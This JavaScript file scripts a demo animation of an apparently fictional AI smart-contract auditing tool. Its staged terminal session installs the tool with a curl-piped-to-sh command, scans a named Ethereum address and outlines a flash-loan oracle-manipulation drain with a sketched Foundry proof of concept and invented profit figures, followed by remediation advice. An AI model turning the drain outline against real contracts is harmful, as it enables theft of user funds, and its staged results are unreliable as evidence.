/* InkryptSci scene timeline.
   Each step is { t (cumulative ms from start), kind, payload }.
   The app walks the timeline based on elapsed time × speed multiplier. */

const BANNER = String.raw`
██╗███╗   ██╗██╗  ██╗██████╗ ██╗   ██╗██████╗ ████████╗   ███████╗ ██████╗██╗
██║████╗  ██║██║ ██╔╝██╔══██╗╚██╗ ██╔╝██╔══██╗╚══██╔══╝   ██╔════╝██╔════╝██║
██║██╔██╗ ██║█████╔╝ ██████╔╝ ╚████╔╝ ██████╔╝   ██║      ███████╗██║     ██║
██║██║╚██╗██║██╔═██╗ ██╔══██╗  ╚██╔╝  ██╔═══╝    ██║      ╚════██║██║     ██║
██║██║ ╚████║██║  ██╗██║  ██║   ██║   ██║        ██║      ███████║╚██████╗██║
╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝   ╚═╝        ╚═╝      ╚══════╝ ╚═════╝╚═╝`;

// ---------- raw timeline ----------
const RAW = [
  // -------- BOOT --------
  { d: 0,    k: "banner" },
  { d: 350,  k: "system",  text: "BlueSci  ·  InkryptSci  v0.7.2-rc  ·  build a91c8f4  ·  rev 2026-05-11" },
  { d: 240,  k: "muted",   text: "Real-team AI vulnerability discovery for Web3 and smart contracts." },
  { d: 320,  k: "muted",   text: "Use is bound by the BlueSci Responsible Disclosure Policy. Type `inkrypt help legal` for details." },
  { d: 480,  k: "space" },

  // -------- INSTALL / ONBOARD --------
  { d: 280,  k: "cmd",     text: "curl -fsSL https://get.bluesci.io/inkrypt | sh" },
  { d: 380,  k: "ok",      text: "downloaded  inkrypt 0.7.2-rc       12.4 MB        in 1.2s" },
  { d: 140,  k: "ok",      text: "verified    sha256 a1c8f4…2e3b     signed by      BlueSci Labs <release@bluesci.io>" },
  { d: 140,  k: "ok",      text: "installed   /usr/local/bin/inkrypt  linked         bash · zsh · fish completions" },
  { d: 280,  k: "space" },

  { d: 220,  k: "cmd",     text: "inkrypt auth login" },
  { d: 240,  k: "info",    text: "→ opening https://app.bluesci.io/cli/auth?token=…" },
  { d: 420,  k: "ok",      text: "authenticated as audit@neuronyx.lab        plan: redteam-pro        credits: 18,420" },
  { d: 220,  k: "muted",   text: "rpc cache primed: ethereum · base · arbitrum · optimism · polygon · bnb · solana · sui · aptos" },
  { d: 200,  k: "muted",   text: "models loaded: inkrypt-recon-1.2 · inkrypt-symex-0.9 · inkrypt-exploit-0.6 · inkrypt-judge-1.0" },
  { d: 200,  k: "muted",   text: "signature db at rev 2026.05.11-1340  ·  142,886 patterns  ·  9 chains" },
  { d: 380,  k: "space" },

  // -------- TARGET --------
  { d: 220,  k: "cmd",     text: "inkrypt scan \\\n  --address 0x1f9090aaE28b8a3dCeaDf281B0F12828e676c326 \\\n  --chain ethereum \\\n  --depth aggressive \\\n  --redteam on \\\n  --emit findings.json,report.md,poc/" },
  { d: 280,  k: "info",    text: "target resolved → MetaVault.PriceFeed (proxy 0x1f90…6326)  ·  impl 0x9c8b…f102  ·  TVL $4.18M" },
  { d: 180,  k: "info",    text: "source recovered from etherscan + sourcify  ·  3 files  ·  742 LOC  ·  solc 0.8.21+commit.d9974bed" },
  { d: 180,  k: "muted",   text: "also fetched: 14 verified dependents · 2 oracles upstream · 1 governance timelock" },
  { d: 280,  k: "space" },

  // -------- AGENT PLAN --------
  { d: 240,  k: "agent",   text: "Booting red-team. I'll plan, run tools in parallel, and surface exploitable issues — not noise. Aggressive depth means symbolic execution + guided fuzzing + a real POC for anything Critical." },
  { d: 200,  k: "plan",    payload: [
    "Recon  ·  ABI, storage layout, role map, dependency graph",
    "Static  ·  slither + semgrep + custom solidity lints",
    "Symbolic  ·  inkrypt-symex over public + privileged entrypoints",
    "Fuzz  ·  echidna + foundry invariants, 240k cases",
    "Logic  ·  invariant synthesis vs declared business rules",
    "VM  ·  selector clash, storage collision, EVM-quirk sweep",
    "Adversarial  ·  flash-loan + MEV attacker model",
    "Exploit  ·  POC synthesis for Critical/High findings",
    "Judge  ·  triage, dedupe, severity, predicted impact"
  ]},
  { d: 460,  k: "plan-tick", step: 0, status: "run" },

  // -------- TOOL CALL FEED --------
  { d: 320,  k: "tool",    name: "recon.abi_decode",            arg: "(proxy=0x1f90…)", status: "ok",   note: "39 fn  · 6 events  · 3 roles" },
  { d: 180,  k: "tool",    name: "recon.storage_layout",        arg: "(impl)",          status: "ok",   note: "21 slots · 1 packed warn" },
  { d: 160,  k: "tool",    name: "recon.role_map",              arg: "AccessControl",   status: "ok",   note: "DEFAULT_ADMIN_ROLE → 0xCa…41 (EOA)" },
  { d: 200,  k: "plan-tick", step: 0, status: "done" },
  { d: 0,    k: "plan-tick", step: 1, status: "run" },

  { d: 220,  k: "tool",    name: "static.slither",              arg: "--detect all",    status: "ok",   note: "11 informational · 3 medium" },
  { d: 180,  k: "tool",    name: "static.semgrep",              arg: "p/solidity",      status: "ok",   note: "matched 7 rules" },
  { d: 160,  k: "thought", text: "slither flags an unchecked external call in `claim()` — interesting but the guard upstream is sound. Pruning." },
  { d: 240,  k: "plan-tick", step: 1, status: "done" },
  { d: 0,    k: "plan-tick", step: 2, status: "run" },

  { d: 260,  k: "tool",    name: "symex.explore",               arg: "pubFns=12 depth=14", status: "ok",   note: "1,284 paths · 17 reverts modeled" },
  { d: 220,  k: "tool",    name: "symex.assert_invariants",     arg: "fromConfig()",       status: "warn", note: "INV-3 unreachable from any caller" },
  { d: 200,  k: "thought", text: "INV-3 says totalDebt ≤ totalCollateral. It is provably reachable — the config-derived invariant is wrong, not the code. Recording as logic anomaly, not a finding." },
  { d: 240,  k: "plan-tick", step: 2, status: "done" },
  { d: 0,    k: "plan-tick", step: 3, status: "run" },

  { d: 240,  k: "tool",    name: "fuzz.echidna",                arg: "240,000 cases · 6h-equiv", status: "ok",   note: "12 sequences > 0 ROI" },
  { d: 200,  k: "tool",    name: "fuzz.foundry_invariants",     arg: "depth=200 runs=8k",        status: "warn", note: "invariant `liquidationFair` violated 41×" },
  { d: 200,  k: "plan-tick", step: 3, status: "done" },
  { d: 0,    k: "plan-tick", step: 4, status: "run" },

  { d: 240,  k: "tool",    name: "logic.invariant_synth",       arg: "(business rules)",  status: "warn", note: "synthesized 4 missing invariants" },
  { d: 200,  k: "plan-tick", step: 4, status: "done" },
  { d: 0,    k: "plan-tick", step: 5, status: "run" },

  { d: 220,  k: "tool",    name: "vm.selector_clash",           arg: "(proxy/impl)",      status: "ok",   note: "no collisions" },
  { d: 200,  k: "tool",    name: "vm.storage_collision",        arg: "(upgrade path)",    status: "warn", note: "slot 5 reused across v2→v3" },
  { d: 200,  k: "plan-tick", step: 5, status: "done" },
  { d: 0,    k: "plan-tick", step: 6, status: "run" },

  // ---- BIG MOMENT: adversarial finds the oracle path ----
  { d: 320,  k: "tool",    name: "adv.flash_loan_model",        arg: "aave-v3 · 220M cap", status: "hit",  note: "drain path materialized" },
  { d: 240,  k: "thought", text: "I can borrow $80M from Aave, push the spot pool 23%, call `liquidate()` against an under-margin position, and unwind in the same tx. Net profit ≈ $4.21M before gas." },
  { d: 220,  k: "tool",    name: "adv.mev_oracle_swing",        arg: "(uniswap-v3 0.05%)", status: "hit",  note: "manipulable in 1 block" },
  { d: 200,  k: "plan-tick", step: 6, status: "done" },
  { d: 0,    k: "plan-tick", step: 7, status: "run" },

  // ---- FINDINGS START EMERGING ----
  { d: 240,  k: "finding", payload: {
      id: "INK-2026-0421-04",
      severity: "high",
      title: "Privileged `setOracle()` reachable from a non-timelocked EOA",
      file: "contracts/MetaVault.sol",
      line: "L412",
      summary: "`setOracle(address)` is gated by `onlyRole(ORACLE_MANAGER_ROLE)`. That role is held by `0xCa…41`, an externally-owned account, with no timelock between grant and execution. Compromise of one private key swaps the price oracle to an attacker-controlled feed in one tx.",
      tags: ["access-control","logic"]
  }},
  { d: 220,  k: "finding", payload: {
      id: "INK-2026-0421-09",
      severity: "med",
      title: "Storage slot 5 reused across v2 → v3 upgrade (`liquidationFee` → `pendingOwner`)",
      file: "contracts/MetaVault.sol",
      line: "storage map",
      summary: "After upgrade, `pendingOwner` reads the residual `liquidationFee` value. Currently zero, but any future write to `liquidationFee` in v2-shaped storage would set `pendingOwner` to that address.",
      tags: ["vm-level","proxy"]
  }},
  { d: 220,  k: "finding", payload: {
      id: "INK-2026-0421-11",
      severity: "low",
      title: "`SafeERC20` not used for fee-on-transfer USDT path",
      file: "contracts/Treasury.sol",
      line: "L88",
      summary: "Direct `transferFrom` on a path that can be reconfigured to a fee-on-transfer token. Currently the configured token is canonical USDC; risk is conditional on future treasury action.",
      tags: ["hygiene"]
  }},
  { d: 320,  k: "plan-tick", step: 7, status: "run" },
  { d: 240,  k: "tool",    name: "exploit.synth_poc",           arg: "INK-…-01 (oracle drain)",  status: "ok",   note: "compiled · forked-mainnet runs green" },
  { d: 200,  k: "plan-tick", step: 7, status: "done" },
  { d: 0,    k: "plan-tick", step: 8, status: "run" },

  // ---- THE CRITICAL ----
  { d: 200,  k: "agent",   text: "Highest-impact path confirmed. Writing it up — this is the one that matters." },
  { d: 280,  k: "finding", payload: {
      id: "INK-2026-0421-01",
      severity: "crit",
      title: "Flash-loan-driven oracle manipulation enables full vault drain in one block",
      file: "contracts/MetaVault.sol",
      line: "L221–L268 (`liquidate`)",
      summary: "`liquidate()` reads spot price directly from a Uniswap-v3 0.05% pool with no TWAP and no deviation guard. By borrowing flash liquidity from Aave-v3 (cap $220M), an attacker can move the pool ≥23% inside a single transaction, force every margin position into the liquidatable band, and atomically redeem the entire vault. Predicted net profit: ~$4.21M at current TVL. The same path is reproducible on Arbitrum and Base where the same module is deployed.",
      glitch: true,
      tags: ["oracle","flash-loan","logic"],
      hasPOC: true
  }},

  // ---- VULNERABLE CODE ----
  { d: 220,  k: "code", payload: {
      lang: "solidity", file: "contracts/MetaVault.sol", lines: "L221–L240",
      body: [
        ["c", "// liquidate an under-margin position"],
        ["",  "function ", ["k","liquidate"], "(", ["t","address"], " holder) ", ["k","external"], " {"],
        ["",  "    ", ["t","uint256"], " spot = oraclePool.", ["n","slot0"], "().sqrtPriceX96;"],
        ["hl",["t","    uint256"], " price = ", ["n","_sqrtToPrice"], "(spot);             ", ["c","// ← single-block spot, no TWAP"]],
        ["hl",["k","    require"], "(", ["n","positions"], "[holder].health(price) < 1e18); ", ["c","// ← attacker controls `price`"]],
        ["",  "    ", ["n","_seize"], "(holder, ", ["t","msg"],".sender);"],
        ["",  "}"]
      ]
  }},

  // ---- POC ----
  { d: 240,  k: "agent",   text: "POC compiled and run on a forked mainnet at block 22,841,003. It works first try. Output below — this is the file in `poc/INK-2026-0421-01.t.sol`." },
  { d: 200,  k: "code", payload: {
      lang: "solidity (foundry)", file: "poc/INK-2026-0421-01.t.sol", lines: "exploit",
      body: [
        ["",  ["k","contract"], " ", ["t","Drain"], " ", ["k","is"], " ", ["t","Test"], ", ", ["t","IFlashLoanReceiver"], " {"],
        ["",  "    ", ["k","function"], " ", ["n","testDrain"], "() ", ["k","external"], " {"],
        ["",  "        aave.flashLoan(", ["t","this"], ", USDC, ", ["s","80_000_000e6"], ", ", ["s","\"\""], ", 0);"],
        ["",  "    }"],
        ["",  "    ", ["k","function"], " ", ["n","executeOperation"], "(...) ", ["k","external"], " ", ["k","returns"],"(", ["t","bool"],") {"],
        ["",  "        ", ["c","// 1. push the 0.05% pool 23% in one swap"]],
        ["",  "        ", ["n","_swapExactInput"], "(USDC, WETH, ", ["s","80_000_000e6"], ");"],
        ["hl",["c","        // 2. liquidate every under-margin position at the rigged price"]],
        ["hl","        ", ["k","for"], " (", ["t","uint"], " i; i < holders.length; ++i)"],
        ["hl","            metaVault.", ["n","liquidate"], "(holders[i]);"],
        ["",  "        ", ["c","// 3. unwind pool, repay flash, keep delta"]],
        ["",  "        ", ["n","_swapExactInput"], "(WETH, USDC, weth.balanceOf(", ["t","address"],"(", ["t","this"], ")));"],
        ["",  "        usdc.approve(aave, ", ["s","80_080_000e6"], ");"],
        ["",  "        ", ["k","return"], " ", ["t","true"], ";"],
        ["",  "    }"],
        ["",  "}"],
        ["c", "// forge test --match-test testDrain --fork-url $RPC_MAINNET -vv"],
        ["n", "// ✓ testDrain() (gas: 1,284,221)   net P/L: +$4,213,902.41 USDC"]
      ]
  }},

  // ---- REMEDIATION ----
  { d: 260,  k: "agent",   text: "Suggested remediation: read price from a 30-minute TWAP via `OracleLibrary.consult`, hard-cap per-call deviation at 250 bps, gate `liquidate()` behind a 1-block delay for the same `tx.origin`. I can open a PR against the repo if you want — say the word." },

  { d: 320,  k: "plan-tick", step: 8, status: "done" },

  // -------- SUMMARY --------
  { d: 380,  k: "space" },
  { d: 200,  k: "summary", payload: {
      duration: "00:04:18",
      paths:    "1,284 symbolic / 240,000 fuzz",
      cost:     "credits 612",
      sig:      "9d4f…c1a2",
      rows: [
        { sev: "crit", id: "INK-2026-0421-01", title: "Flash-loan-driven oracle manipulation enables full vault drain", loc: "MetaVault.sol:L221" },
        { sev: "high", id: "INK-2026-0421-04", title: "Privileged setOracle() reachable from non-timelocked EOA",       loc: "MetaVault.sol:L412" },
        { sev: "med",  id: "INK-2026-0421-09", title: "Storage slot 5 reused across v2→v3 upgrade",                     loc: "MetaVault.sol:storage" },
        { sev: "med",  id: "INK-2026-0421-13", title: "Invariant `liquidationFair` violated under fuzzing",              loc: "MetaVault.sol:L341" },
        { sev: "low",  id: "INK-2026-0421-11", title: "SafeERC20 not used on fee-on-transfer path",                     loc: "Treasury.sol:L88" },
        { sev: "low",  id: "INK-2026-0421-15", title: "Emit event missing on role grant",                               loc: "MetaVault.sol:L502" }
      ]
  }},
  { d: 240,  k: "ok",   text: "report written → ./inkrypt-report-2026-05-11T13-40Z.md  ·  findings.json  ·  poc/INK-2026-0421-01.t.sol" },
  { d: 200,  k: "info", text: "share securely → https://app.bluesci.io/r/9d4fc1a2 (expires in 7d, audit@neuronyx.lab only)" },
  { d: 200,  k: "muted",text: "next steps: `inkrypt explain INK-2026-0421-01`  ·  `inkrypt pr --suggest`  ·  `inkrypt rescan --watch`" },
  { d: 200,  k: "cmd-empty" }
];

// expand to absolute timestamps
window.__INKRYPT_SCENES = (function() {
  let t = 0;
  return RAW.map((s) => {
    t += (s.d || 0);
    return { ...s, t };
  });
})();
window.__INKRYPT_BANNER = BANNER;
window.__INKRYPT_TOTAL_MS = window.__INKRYPT_SCENES[window.__INKRYPT_SCENES.length - 1].t + 800;
